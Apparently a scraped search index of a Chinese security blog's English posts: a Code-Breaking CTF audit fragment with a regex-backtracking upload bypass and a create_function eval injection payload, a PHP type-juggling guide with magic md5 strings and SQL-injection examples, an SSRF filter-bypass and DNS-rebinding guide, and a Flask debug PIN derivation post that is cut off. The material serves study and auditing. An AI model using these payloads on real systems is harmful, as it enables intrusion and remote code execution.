file_get_contents($_FILES[\u0026#39;file\u0026#39;][\u0026#39;tmp_name\u0026#39;]); if (is_php($data)) { // this check must be bypassed; make it return false echo \u0026#34;bad request\u0026#34;; } else { @mkdir($user_dir, 0755); $path = $user_dir . \u0026#39;/\u0026#39; . random_int(0, 10) . \u0026#39;.php\u0026#39;; move_uploaded_file($_FILES[\u0026#39;file\u0026#39;][\u0026#39;tmp_name\u0026#39;], $path); header(\u0026#34;Location: $path\u0026#34;, true, 303); } 1 Regex backtracking In PCRE regex matching, backtracking may occur during matching, and backtracking has a maximum limit — 1000000 by default, i.e. one million times; once exceeded, it returns False\nIn regex matching, if the pattern \u0026quot; .*? \u0026quot; is present, the match will use non-greedy mode. The principle of non-greedy matching is, simply put: when a subexpression can match or not match, it prefers not to match, records the alternative state, and hands match control to the next character of the regex; when the subsequent match fails, it backtracks and matches.\nSo just use Burp\u0026rsquo;s Intruder and charge straight in\nPOST /index.php HTTP/1.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http:/// Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypB0gAWHTqJuJqsmL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http:/// Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundarypB0gAWHTqJuJqsmL Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;DirBusterReport.txt\u0026#34; Content-Type: text/plain \u0026lt;?php phpinfo();?\u0026gt; [A*100,0000]... Reference article: Exploiting PCRE backtracking to bypass PHP regex · Yuque\n0x01 function \u0026lt;?php $action = $_GET[\u0026#39;action\u0026#39;] ?? \u0026#39;\u0026#39;; $arg = $_GET[\u0026#39;arg\u0026#39;] ?? \u0026#39;\u0026#39;; if(preg_match(\u0026#39;/^[a-z0-9_]*$/isD\u0026#39;, $action)) { show_source(__FILE__); } else { $action(\u0026#39;\u0026#39;, $arg); } create_function First, an introduction to the create_function function\ncreate_function ( string $args , string $code ) : string\n(PHP 4 \u0026gt;= 4.0.1, PHP 5, PHP 7)\nWarning\nThis function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad performance and memory usage characteristics.\nIf you are using PHP 5.3.0 or newer a native anonymous function should be used instead.\nItself, it actually also has a command injection problem — how does the injection work?\ncreate_function(\u0026#39;\u0026#39;, \u0026#39;echo 111;}phpinfo();//\u0026#39;) ==\u0026gt; function x(){ echo 111;}phpinfo();// } That is, php directly concatenates the second argument into the anonymous function — in other words, the 6 lines above can be fully controlled by us!\n/?action=\\create_function\u0026amp;arg=return 111;}eval($_GET[1]);/*\u0026amp;1=phpinfo(); Now let\u0026rsquo;s look at the regex preg_match('/^[a-z0-9_]*$/isD', $action). It requires that our input action must not be all letters or digits — that is, we need to find something that doesn\u0026rsquo;t affect function execution\nGlobal namespace If no namespace is defined, all class and function definitions are in the global namespace. Prefixing a name with \\ indicates that the name is from the global namespace, even when the code is inside a different namespace. \\ is the default namespace.\nSo the \\foo(); syntax can be used to call the global-space function \u0026quot;foo\u0026quot;; likewise, \\create_function can bypass it.\n","permalink":"https://www.unc.la/en/posts/penetration/fnxs1w/","summary":"\u003cp\u003eAddress: \u003ca href=\"https://code-breaking.com/intro/\"\u003ehttps://code-breaking.com/intro/\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"0x08-picklecode\"\u003e0x08 picklecode\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eHard\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eFirst, we need to brush up on format string vulnerability knowledge; see \u003ca href=\"https://blog.csdn.net/wenrennaoda/article/details/107224921\"\u003ehttps://blog.csdn.net/wenrennaoda/article/details/107224921\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1616577688195-b70effd9-bea3-41b0-8b3e-edc0c6243470.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1616577704562-5b14b519-e316-4e14-a2ed-c5b355aa4302.png\"\u003e\u003c/p\u003e\n\u003cp\u003eThere is indeed a format string vulnerability. So the first step is to exploit this bug to leak Django\u0026rsquo;s \u003ccode\u003eSECRET_KEY\u003c/code\u003e, which can be found by setting up the environment locally with PHPCharm\u003c/p\u003e\n\u003cp\u003ePython Web: flask session \u0026amp; format string vulnerability\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://xz.aliyun.com/t/3569\"\u003ehttps://xz.aliyun.com/t/3569\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eSecurity issues caused by client-side sessions | LeaveSong\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.leavesongs.com/PENETRATION/client-session-security.html\"\u003ehttps://www.leavesongs.com/PENETRATION/client-session-security.html\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ePython format string vulnerability (Django as an example)\u003c/p\u003e","title":"Code-Breaking Audit Records [7/9]"},{"content":"A technique commonly seen in PHP code audits: weak typing, known in English as type Juggling. The basic concept is as follows:\nPrior to PHP 8, when using == for comparison or in any situation involving weak type conversion, strings are first converted to numbers, and only then compared against the number.\nComparison with == Therefore, when a string is loosely compared against a number (loose comparison), the result is often unexpected. For example, \u0026quot;1 and 1=1\u0026quot; == 1 evaluates to true in PHP.\nBelow is a cheat sheet for weak-typed comparisons\nImage referenced from:https://www.php.net/manual/en/types.comparisons.php\nSee the one highlighted in red? \u0026quot;php\u0026quot; == 0 actually holds true as well. This is because the string is first converted to a number, and then compared against the numeric value.\nBut it gets even stranger: even when two strings are compared, as long as both look numeric (such as \u0026quot;0x123\u0026quot; for hexadecimal notation, or \u0026quot;0e123\u0026quot; for scientific notation), PHP will convert them to numbers before comparing. Therefore the following relations hold\n- TRUE: \u0026#34;0e12345\u0026#34; == \u0026#34;0e54321\u0026#34; - TRUE: \u0026#34;0e12345\u0026#34; == \u0026#34;0\u0026#34; - TRUE: \u0026#34;0xF\u0026#34; == \u0026#34;15\u0026#34; [php 7.2.24 下为False] Now, let\u0026rsquo;s go one step further: given two strings that are themselves different but compare equal under loose comparison, what do the 0e or 0x forms remind you of? That\u0026rsquo;s right — e belongs to a-f and can be used to represent hexadecimal, and isn\u0026rsquo;t the return value of the md5() function precisely a hexadecimal string?\nSo we have the following conclusion: for two different strings, we can make their md5 values compare equal.\nThe md5 values of the strings below are all equal under loose comparison.\nQNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 In addition, there is also the technique of passing in an array to make a regex match fail and return false, which is also worth trying — but let\u0026rsquo;s not stray too far.\nThe sha1() and md5() functions cannot handle array types; they raise an error and return false\nAfter all, checks like ==0 on a regex result are inherently blacklist-style. Whitelisting is forever the GOAT!\nAutomatic Weak Type Conversion in_array in_array(search,array,type)\nParameter Description search Required. Specifies the value to search for in the array. array Required. Specifies the array to search. type Optional. If set to true, the function checks whether the type of the searched value matches the type of the values in the array. By default, the _in_array_ function suffers from the weak type conversion problem\n\u0026lt;?php $whitelist = array(1, 2, 3);\t// whitelist, only allows querying 1, 2, 3 $id = $_GET[\u0026#39;id\u0026#39;];\t// ?id=1\u0026#39; or 1=1 -- if (in_array($id, $whitelist)) { // the third parameter is not set to True // (\u0026#34;1\u0026#39; or 1=1 --\u0026#34; == 1) -\u0026gt; TRUE ... $sql = \u0026#34;select * from users where userid = \u0026#39;\u0026#34;. $id .\u0026#34;\u0026#39;\u0026#34;; $r = $db-\u0026gt;query($sql); ... } else { die(\u0026#34;你想搞事\u0026#34;); } ?\u0026gt; SQL注入！ array_search array_search(value, array, strict)\nTechnical detail: if the specified key value is found in the array, it returns the corresponding key name, otherwise it returns FALSE.\nParameter Description value Required. Specifies the key value to search for. array Required. Specifies the array to be searched. strict Optional. If set to TRUE, the function searches for elements in the array whose data type and value both match. Possible values:+ true+ false - default\nIf set to true, the function checks the type of the given value in the array, so the number 5 and the string 5 are different (see example 2). The sample code below demonstrates\n\u0026lt;?php $id = \u0026#34;2 and\u0026#34; ; $whitelist = array(1, 2); if (array_search($id, $whitelist)) { // the third parameter is not set to True echo \u0026#34;你通过了\u0026#34;; // sensitive operations such as SQL injection, command execution } else { die(\u0026#34;你想搞事\u0026#34;); } ?\u0026gt; switch case \u0026hellip; The parameter passed into a switch also undergoes type conversion. For example, below I make \u0026quot;2 and 1=1;--\u0026quot; land in the case 2 branch\n\u0026lt;?php $o = \u0026#34;2 and 1=1;--\u0026#34;; switch ($o) { case 1: echo \u0026#34;fail\u0026#34;; break; case 2: echo \u0026#34;success\u0026#34;; // the output is success; break; default: echo \u0026#34;nothing\u0026#34;; } ?\u0026gt; strcmp The strcmp() function compares two strings.\nThe strcmp() function is binary-safe and case-sensitive.\n**Return values: **\n0 - if the two strings are equal\n\u0026lt;0 - if string1 is less than string2\n0 - if string1 is greater than string2\n\u0026lt;?php //php 7.2.24 $array=[1, 2, 3]; var_dump(strcmp($array, \u0026#39;123\u0026#39;)); //NULL ?\u0026gt; The strcmp function here actually converts both variables to ascii values and performs a mathematical subtraction, returning the difference as an int.\nIn other words, comparing 'a' with 'a' yields the result 0.\nThat is to say, we can make this function error out so that it always evaluates to true, bypassing the function\u0026rsquo;s check.\n🤡1 Below is a phenomenon of being \u0026ldquo;both greater than 0 and not greater than 0\u0026rdquo;. The thing to note is the third line — why does '1e-1000' == 0 hold true\n\u0026lt;?php var_dump(intval(\u0026#39;1e-1000\u0026#39;) \u0026gt; 0); // greater than 0\tbool(true) var_dump(\u0026#39;1e-1000\u0026#39; == 0); // equal to zero\tbool(true) ?\u0026gt; 🤡2 This is probably because the first is_numeric result is assigned directly to the variable, without going through the and. This also indirectly shows how important operator precedence is.\n\u0026lt;?php //php 7.2.24 $f = is_numeric(123) and is_numeric(); var_dump($f); // outputs bool(true) ?\u0026gt; # 再试试这一手，就能理解了吧 \u0026lt;?php //php 7.2.24 $a = 1 and 0; $b = (1 and 0); var_dump($a); // outputs int(1) var_dump($b); // outputs bool(false) ?\u0026gt; Best Practices By default, consistently use === For hash comparisons, use hash_equals() When sensitive functions are involved, explicit type conversion is best. For example, before using strcmp() or a switch case construct, force a type cast to unify the types being compared. Demo below (int)\u0026#34;0e23812\u0026#34; === (int)\u0026#34;0e48394832\u0026#34; When using in_array() or array_search(), declare true in the corresponding parameter position to use strict comparison Supplementary Knowledge About HTTP Requests HTTP requests cannot directly deliver numbers; what gets passed in is generally only strings — arrays can also be passed in. But sometimes it is possible, for example\nUsing middleware to parse JSON\nPOST /?a=123 HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded b=456\u0026amp;c[key]=value Using an existing json_decode() in the code\n\u0026lt;?php ... $arr = json_decode($_GET[\u0026#39;param\u0026#39;], true); // when the second parameter is TRUE, an array is returned if ( $arr[\u0026#34;key\u0026#34;] == 1 ){ echo $flag; } else { die(); } ?\u0026gt; Timing Attacks Timing Attack\nTypically, string comparison is implemented with shift-based matching: as soon as any mismatch is encountered during matching, it exits immediately and returns the comparison result.\nThe two comparisons below take different amounts of time; the principle of this attack is similar to blind injection.\n\u0026#34;f447b20a7fcbf53a5d5be013ea0b15af\u0026#34; == \u0026#34;f447b20a7fcbf53a5d5be013ea0bXXXX\u0026#34; \u0026#34;f447b20a7fcbf53a5d5be013ea0b15af\u0026#34; == \u0026#34;f447bXXXXXXXXXXXXXXXXXXXXXXXXXXX\u0026#34; Different inputs cause the code to loop a different number of times, resulting in different execution times. Of course, with the performance of modern computers, ordinary developers can hardly perceive the difference in elapsed time. Nevertheless, this difference really does exist.\nWith hash_equals(), however, it\u0026rsquo;s a different story\nhash_equals($1, $2)\n(PHP 5 \u0026gt;= 5.6.0, PHP 7)\nhash_equals — A string comparison that guards against timing attacks.\nCompares two strings; the time consumed by this function is constant, whether or not they are equal. Very importantly, the user-supplied string must be the second argument. Reference Articles OWASP PHP MagicTricks-TypeJuggling.pdf medium PHP Type Juggling Vulnerabilities https://zhzhdoai.github.io/2019/02/27/PHP%E5%BC%B1%E7%B1%BB%E5%9E%8B/ https://www.dooccn.com/php/#php 5.3.3 https://rextester.com/l/php_online_compiler#php 7.2.24 ","permalink":"https://www.unc.la/en/posts/penetration/imddno/","summary":"\u003cp\u003eA technique commonly seen in PHP code audits: weak typing, known in English as \u003ccode\u003etype Juggling\u003c/code\u003e. The basic concept is as follows:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePrior to PHP 8, when using \u003ccode\u003e==\u003c/code\u003e for comparison or in any situation involving weak type conversion, \u003cstrong\u003estrings are first converted to numbers\u003c/strong\u003e, and only then compared against the number.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"comparison-with-\"\u003eComparison with \u003ccode\u003e==\u003c/code\u003e\u003c/h1\u003e\n\u003cp\u003eTherefore, when a string is loosely compared against a number (\u003ccode\u003eloose comparison\u003c/code\u003e), the result is often unexpected. For example, \u003ccode\u003e\u0026quot;1 and 1=1\u0026quot; == 1 \u003c/code\u003e evaluates to true in PHP.\u003c/p\u003e","title":"Talking About Weak Typing in PHP"},{"content":"This post covers common bypass techniques for SSRF vulnerabilities under various restrictions.\n(Image from SSRF Bypass Tricks)\n0x00 URL scheme Part 1: the scheme name (ends with a single colon) Part 2: user information, i.e. username and password (commonly used when logging into FTP) Part 3: the host name (i.e. the domain) Part 4: the port Part 5: the query content, containing [path+param] — there is a bug here: only the content after the ? should count as the query! Part 6: Fragment ID (never sent to the server!) 1. Extracting the scheme name:\nIt looks for where the first : is; if found, everything to the left of the : is the scheme name!\nIf the extracted scheme name contains characters that shouldn\u0026rsquo;t be there, it is assumed that this is probably a relative url and what was extracted is not a scheme name!\n2. Stripping the hierarchical URL marker:\nThe string // should be considered as following the scheme name; if this string is found, it is skipped; if not found, it is simply ignored! That is why http:baidu.com is also reachable! In browsers you can also replace the forward slashes with backslashes, \\\\ instead of // — except in Firefox!\n0x01 Browser parsing quirks 1. @ Simply put, this is how a normal web application processes the request:\nFirst it parses the user-supplied URL with parse_url to obtain the host, then passes the host into check_inner_ip to check whether it is an intranet IP.\nIf the check passes, the URL is handed to the HTTP library to send the request.\nSo the core principle of the bypass is: the host obtained during parse_url is A, while the host actually used when the HTTP library (such as curl) sends the packet is B — exploiting this discrepancy to bypass check_inner_ip.\nThis discrepancy usually arises because the two use different URL parsing logic. For example, PHP sends requests via CURL, and CURL is at its core a third-party library. So PHP\u0026rsquo;s own parse_url and CURL\u0026rsquo;s internal \u0026ldquo;parse_url\u0026rdquo; can differ.\nhttp://xss1.com\u0026amp;action=test@www.baidu.com @External_Domain@12.0.0.1 Chrome does not allow this!\n2. Period 127。0。0。1 \u0026gt;\u0026gt;\u0026gt; 127.0.0.1 3. # ? #.jpg ?.jpg Truncation! See \u0026ldquo;a real-world code audit\u0026rdquo; for details\n0x02 PunnyCode Because operating system kernels are written in English and DNS server resolution also exchanges English code, DNS servers do not support direct resolution of Chinese domain names. All Chinese domain names must be converted into punycode first, and then the DNS resolution resolves the punycode. The claim that all kinds of browsers perfectly support Chinese domain names just means the browser software actively performs the Chinese-domain-name auto-conversion internally, so there is no need to install a separate Chinese domain name conversion plugin to complete the process.\nFor example: 企鹅 (Penguin).com, after Punycode conversion, becomes: xn\u0026ndash;hoq754q. com\n中国.cn, after Punycode conversion, becomes: xn\u0026ndash;fiqs8s. cn\nⅅʳºℙˢ --\u0026gt; drops ʷººʸⓊⁿ —\u0026gt; wooyun Ⓞʳℊ —\u0026gt; org ⅅʳºℙˢ.ʷººʸⓊⁿ.ºʳℊ --\u0026gt; drops.wooyun.org 0x03 Numeric base conversion http://664552783 =\u0026gt; http://baidu.com\n$ ping baidu.com Pinging baidu.com [39.156.69.79] with 32 bytes of data: Decimal 39.156.69.79 =\u0026gt; 664552783 (decimal)\nOctal 39.156.69.79 =\u0026gt; 04747042517 (octal)\nOctal is a numeral system that uses the eight digits 0, 1, 2, 3, 4, 5, 6, 7, carries at eight, and must always begin with the digit 0.\nThere is also an IPv6 form:\n[0:0:0:0:0:ffff:127.0.0.1] ::ffff:7f00:1 0:0::1 0:0:0:0:0:0:0:0 As well as the special form http://0/\n0x04 URL shorteners These actually rely on 302 redirects\nURL shortener services I commonly use\nsuo.im tinyurl.com goo.gl ... 0x05 xip.io / xip.name xip.name\nIt works like a kind of \u0026ldquo;forwarding\u0026rdquo; and is very handy for bypassing keyword whitelists, e.g. if \u0026quot;baidu\u0026quot; in URL: {visit(URL);}\nxip.io****\n127.0.0.1.xip.io \u0026gt;\u0026gt;\u0026gt; 127.0.0.1 www.baidu.com.127.0.0.1.xip.io\t\u0026gt;\u0026gt;\u0026gt; 127.0.0.1 ... Similar services include:\nlvh.me *.localtest.me\t(see: readme.localtest.me ) ping 1.2.3.4.sslip.io ping 1.1.2.3.nip.io 0x06 Enclosed alphanumerics Concept: https://en.wiktionary.org/wiki/Appendix:Unicode/Enclosed_Alphanumerics Usage: https://www.qqxiuzi.cn/zh/shijiewenzi/?character=Enclosed%20Alphanumerics ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ \u0026gt;\u0026gt;\u0026gt; http://example.com ⓑⒶⒾⒹⓤ。Cⓞm \u0026gt;\u0026gt;\u0026gt; http://baidu.com ①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓫⓬⓭⓮⓯⓰⓱⓲⓳⓴⓵⓶⓷⓸⓹⓺⓻⓼⓽⓾⓿ 0x07 Intranet addresses Usually the following three ranges are designated as intranet IP ranges, and all machines inside the intranet are assigned IPs from these ranges:\nFor the complete list refer to https://datatracker.ietf.org/doc/html/rfc5735\nRFC 5735😂 192.168.0.0/16 =\u0026gt; 192.168.0.0 ~ 192.168.255.255 10.0.0.0/8 =\u0026gt; 10.0.0.0 ~ 10.255.255.255 172.16.0.0/12 =\u0026gt; 172.16.0.0 ~ 172.31.255.255 127.0.0.0/8 So usually, we only need to check that the target IP is not in these three ranges, plus 127.0.0.0/8 and 0.0.0.0/8 The local address can be written not only as the familiar 127.0.0.1 but also as 127.6.6.6 On Linux, both 127.0.0.1 and 0.0.0.0 point to the local machine; see http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html Some Practices A few small exercises\nRound 1: Hiding in plain sight ①②⑦。⓪。⓪。① Round 2: Bait and switch http://qq.com？action=submit\u0026amp;ID=@04747042517 Adding some highlighting makes it clearer\nhttp://qq.com？action=submit\u0026amp;ID=@04747042517 Notes - The ？ is a full-width (Chinese) question mark - The @ is the key part: the string starting with 0 after it is the IP address in octal, and everything before it is userinfo DNS rebinding 1. The DNS resolution process Query the local DNS server (/etc/resolv.conf) If a cached result exists, return it and go no further If there is no cache, query the remote DNS server and return the result On the Mac and Windows machines we use daily, the system performs DNS caching to speed up HTTP access. On Linux, however, DNS caching is not performed by default (https://stackoverflow.com/questions/11020027/dns-caching-in-linux), unless software such as nscd is running.\nIt is enough to know that Linux does not cache DNS by default. This also explains why, with the same configuration, my setup failed on Mac but worked on Linux.\nNote that a DNS server with the IP 8.8.8.8 will not be cached locally.\nJava by default is not vulnerable to DNS rebinding bypasses (TTL defaults to 10)\nPHP by default can be bypassed via DNS rebinding\nLinux by default performs no DNS caching\nDNS resolution process\nQuery the local DNS server (/etc/resolv.conf) If a cached result exists, return it and go no further If there is no cache, query the remote DNS server and return the result 2. How rebinding works In fact, the ceye.io platform from Knownsec also offers a DNS rebinding service\nIn practice, just use r.xxxxx.ceye.io\nThe first request returns 127.0.0.1\n$ nslookup r.abcdef.ceye.io Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: Name: r.abcdef.ceye.io Address: 127.0.0.1 The second request returns 192.168.0.1\n$ nslookup r.abcdef.ceye.io Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritative answer: Name: r.abcdef.ceye.io Address: 192.168.0.1 3. A prerequisite that cannot be ignored TheDNS server used by the target affects how well a DNS rebinding attack works. Therefore, for a DNS rebinding attack to succeed, the target must be using a DNS server that respects TTL rules.\nCommonly used public DNS:\n- Respects DNS TTL rules: 8.8.8.8 - Does not respect the rules: 1.1.1.1, 223.5.5.5, 119.29.29.29 - Caches DNS records rather unpredictably: 114.114.114.114 As you can see, most DNS servers cache DNS records to save on the number of requests; only 8.8.8.8 implements TTL fairly faithfully.\n4. Tooling You can use [https://github.com/taviso/rbndr](https://github.com/taviso/rbndr) to perform DNS rebinding\n# Alternate between 255.255.255.255 and an external IP ffffffff.2FF02E9A.rbndr.us # Alternate between 127.0.0.1 and an external IP 7F000001.2FF02E9A.rbndr.us Some CTF-style challenges WMCTF2020-SimpleAuth https://github.com/wm-team/WMCTF2020-WriteUp/blob/master/WMCTF%202020%E5%AE%98%E6%96%B9WriteUp.md#SimpleAuth\nAfter entering the url parameter, it says only the http protocol is supported.\nCrafting a url that requests the http port on my own VPS, the http request is successfully received.\nWhen a normal http response comes back, the page displays \u0026ldquo;nothing\u0026rdquo;. Next you can [try modifying the http response packet] for testing, for example returning a 401 authentication challenge.\n\u0026lt;?php header(\u0026#39;WWW-Authenticate: Basic realm=\u0026#34;test\u0026#34;\u0026#39;); header(\u0026#39;HTTP/1.0 401 Unauthorized\u0026#39;); ?\u0026gt; When the 401 authentication page\u0026rsquo;s content changed, it said this authentication type is not supported. By [looking up the documentation] we learn that HTTP supports authentication types such as Basic, Digest, and NTLM, and from the site\u0026rsquo;s information we learn that the server is running Windows. Try responding with a 401 NTLM authentication challenge.\n\u0026lt;?php header(\u0026#39;WWW-Authenticate: NTLM\u0026#39;); header(\u0026#39;HTTP/1.0 401 Unauthorized\u0026#39;); ?\u0026gt; Requesting again, the response content had changed. A tcpdump packet capture shows that when the http response header requests NTLM authentication, the challenge re-requests the url with http NTLM authentication.\nPostscript: SSRF in practice and in theory An SSRF on the Zhihu main site that can probe the intranet Source\n【Vulnerability study — SSRF】An SSRF on the Zhihu main site that can probe the intranet https://blog.csdn.net/Fly_hps/article/details/84400273\nVulnerability description\nWhen answering a question on Zhihu, entering a URL automatically converts it into the page title. For example, entering http://wooyun.org/ turns it into:\nClearly the backend makes a request for this.\nCapturing the traffic, the request goes to http://www.zhihu.com/scraper:\nLow-severity SSRF escalating into the intranet Source\nR3start, Low-severity SSRF escalating into the intranet\nhttps://mp.weixin.qq.com/s/HjvviHp1EdAmWEUE4fbajQ\nVulnerability description\nStarting from an SSRF point, getting into the intranet, and finally running rampant in Redis\nWordPress SSRF (DNS Rebinding) See:http://redteam.today/2019/11/01/wordpress%20xmlrpc.php%20have%20ssrf%20vuln(use%20dns%20rebinding%20bypass%20limit)/\nReferences Expanding the attack surface with the Gopher protocol https://blog.chaitin.cn/gopher-attack-surfaces/ Exploiting SSRF vulnerabilities and attacking intranet applications in practice https://xz.aliyun.com/t/7405#toc-0 URL Hacking - sneaky frontend tricks https://wooyun.js.org/drops/URL%20Hacking%20-%20%E5%89%8D%E7%AB%AF%E7%8C%A5%E7%90%90%E6%B5%81.html ","permalink":"https://www.unc.la/en/posts/penetration/kizum5/","summary":"\u003cp\u003eThis post covers common bypass techniques for SSRF vulnerabilities under various restrictions.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1606801745441-a00a3bdb-b610-457c-9bfd-40e66863a1c3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cfont style=\"color:#8C8C8C;\"\u003e(Image from\u003c/font\u003e \u003ca href=\"https://zhuanlan.zhihu.com/p/73736127\"\u003eSSRF Bypass Tricks\u003c/a\u003e\u003cfont style=\"color:#8C8C8C;\"\u003e)\u003c/font\u003e\u003c/p\u003e\n\u003ch2 id=\"0x00----url-scheme\"\u003e0x00    URL scheme\u003c/h2\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1606786970656-7724da11-d2ac-4e8e-9c6e-df3c473241c0.png\"\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plain\" data-lang=\"plain\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePart 1: the scheme name (ends with a single colon)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePart 2: user information, i.e. username and password (commonly used when logging into FTP)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePart 3: the host name (i.e. the domain)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePart 4: the port\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePart 5: the query content, containing [path+param] — there is a bug here: only the content after the ? should count as the query!\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePart 6: Fragment ID (never sent to the server!)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e1. Extracting the scheme name:\u003c/strong\u003e\u003c/p\u003e","title":"SSRF Bypass Techniques"},{"content":" Enabling debug mode in Flask is equivalent to leaving a backdoor for hackers. This article provides a brief analysis of the security issues that can arise when Flask runs with debug mode enabled in a production network. One of the more severe security issues is that arbitrary Python code can be executed in the interactive Python shell. On this point, in older versions of Flask, no PIN authentication was required to execute code — the harm of this is self-evident.\nIn newer versions of Flask, a PIN must be entered for authentication before custom code can be executed, which makes this avenue considerably less useful for an attacker.\nLater, by chance, I discovered that on the same machine, restarting the Flask service multiple times does not change the PIN value. In other words, the PIN is a fixed value — this greatly piqued my interest.\nSo I studied and researched the PIN generation mechanism, which led to this article.\nThis article is an extension of the one above. Some of the content recorded here may no longer apply due to version iterations, operating system differences, and so on — please verify carefully. Thanks for reading.\nConclusions In newer versions of Flask, a PIN must be entered for authentication before you can access /console, and thereby execute arbitrary code (RCE); Flask\u0026rsquo;s PIN generation mechanism is simply Werkzeug\u0026rsquo;s PIN generation mechanism; Flask\u0026rsquo;s PIN depends on certain values of the runtime environment, such as the MAC address and the flask script path; On the same machine, restarting the Flask service multiple times does not change the PIN value. In other words, the PIN is a fixed value; If the /console path is accessible, combining it with a local file read vulnerability may allow the PIN to be obtained, leading to RCE Combined with point 2, since Werkzeug adjusted the get_machine_id method\u0026rsquo;s concrete implementation in early 2020 (here is the specific change), when actually exploiting this you need to pay special attention to how get_machine_id is constructed The PIN value is derived from the combination of 【current computer username: XXX】, 【flask.app】, 【Flask】, 【C:\\\\Python27\\\\lib\\\\site-packages\\\\flask\\\\app.pyc】, 【str(uuid.getnode())】, 【get_machine_id()】 — none can be missing. username # the username modname # flask.app getattr(app, \u0026#39;__name__\u0026#39;, getattr(app.__class__, \u0026#39;__name__\u0026#39;)) # usually defaults to flask.app being Flask getattr(mod, \u0026#39;__file__\u0026#39;, None) # absolute path of an app.py under the flask directory uuid.getnode() # MAC address in decimal get_machine_id() # system id 【generation method depends on】 However, some of these variables are easy to obtain — for example, C:\\\\Python27\\\\lib\\\\site-packages\\\\flask\\\\app.pyc can very likely be obtained from the error page. Therefore, the three things that mainly require deeper digging are the following:\nKey Parameters Current computer username Omitted here\n**\u0026lt;font style=\u0026quot;color:#121212;\u0026quot;\u0026gt;str(uuid.getnode())\u0026lt;/font\u0026gt;** \u0026gt;\u0026gt;\u0026gt; import uuid \u0026gt;\u0026gt;\u0026gt; str(uuid.getnode()) \u0026#39;26801*****3893\u0026#39; **\u0026lt;font style=\u0026quot;color:#121212;\u0026quot;\u0026gt;get_machine_id()\u0026lt;/font\u0026gt;** Werkzeug 1.0.1\u0026rsquo;s code changed on January 5, 2020, and one of those changes was an adjustment to how get_machine_id is generated\nTherefore, for Werkzeug installed at different times, get_machine_id has different implementations. For actual exploitation, the conclusions are as follows:\n# Implementation of get_machine_id - For Werkzeug installed 【before 2020.1.5】 Reads the three files /proc/self/cgroup, /etc/machine-id, /proc/sys/kernel/random/boot_id in order; as soon as one file\u0026#39;s content is read, the value is returned immediately. - For Werkzeug installed 【after 2020.1.5】 Reads a value from /etc/machine-id or /proc/sys/kernel/random/boot_id and immediately breaks, then concatenates it with the id value from /proc/self/cgroup. The pseudocode is as follows: ---------------------------------------------- get_machine_id() = str(p1) + str(p2), while: # p1 = （`cat /etc/machine-id` OR `cat 